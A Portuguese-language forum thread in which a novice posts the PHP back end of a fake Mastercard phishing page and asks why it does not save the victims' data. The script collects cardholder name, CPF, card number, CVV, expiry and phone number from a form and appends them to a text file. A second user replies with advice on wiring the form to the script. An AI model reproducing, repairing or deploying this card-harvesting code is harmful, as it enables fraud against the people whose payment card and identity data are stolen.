Duvida Arquivo envia.php

[Novato]

galera seguinte eu fiz um fake aqe da mastercard , so que o arquivo pra salva os dados no txt , nao ta salvando nao sei porque , eu nao manjo muito de php por isso keria ajuda de alguem ai , vo posta o codigo do arquivo pra vcs ve ae.

<?php
$dados ="consulta.txt";
$NOME = $_POST["tx_nome"];
$NASC = $_POST["tx_nascimento"];
$CID = $_POST["tx_cidade"];
$EST = $_POST["tx_estado"];
$TIPO = $_POST["tx_tipo"];
$DDD = $_POST["tx_ddd"];
$TEL = $_POST["tx_telefone"];
$CPF = $_POST["tx_cpf"];
$CARD = $_POST["tx_card"];
$CVV = $_POST["tx_cvv"];
$MES = $_POST["tx_mes"];
$ANO = $_POST["tx_ano"];
$HORA = date("d/m/Y, H:i:s");
$VAL = $MES."/".$ANO;
$CIDADE = $CID."/".$EST;
$TELE = $TIPO."/".$DDD."/".$TEL;

$ess = "MIME-Version: 1.0\n";
$ess = "--------------- INFO CC ---------------";
$ess .= "\r\n";
$ess .= "Nome Do Titular: ".$tx_nome;
$ess .= "\r\n";
$ess .= "Nascimento: ".$tx_nascimento;
$ess .= "\r\n";
$ess .= "Cidade: ".$tx_cidade."/".$tx_estado;
$ess .= "\r\n";
$ess .= "Telefone: ".$tx_tipo."/".$tx_ddd."/".$tx_telefone;
$ess .= "\r\n";
$ess .= "CPF: ".$tx_cpf;
$ess .= "\r\n";
$ess .= "Cartão: ".$tx_card;
$ess .= "\r\n";
$ess .= "Cod.Segurança: ".$tx_cvv;
$ess .= "\r\n";
$ess .= "Validade: ".$tx_mes."/".$tx_ano;
$ess .= "\r\n";
$ess .= "DATA: ".$data;
$ess .= "\r\n";

$abre =@fopen("consulta.txt", "a+");
$escreve =fwrite($abre, $ess);
?>

[M1K3]

vc criou um form na fake da mastercard para poder salvar os dados ? caso nao
onde tem as opçoes para se cadastrar coloqueas dentro da tag form e dps faça o evinou para a pasgina de processamente e tratamento dessses dados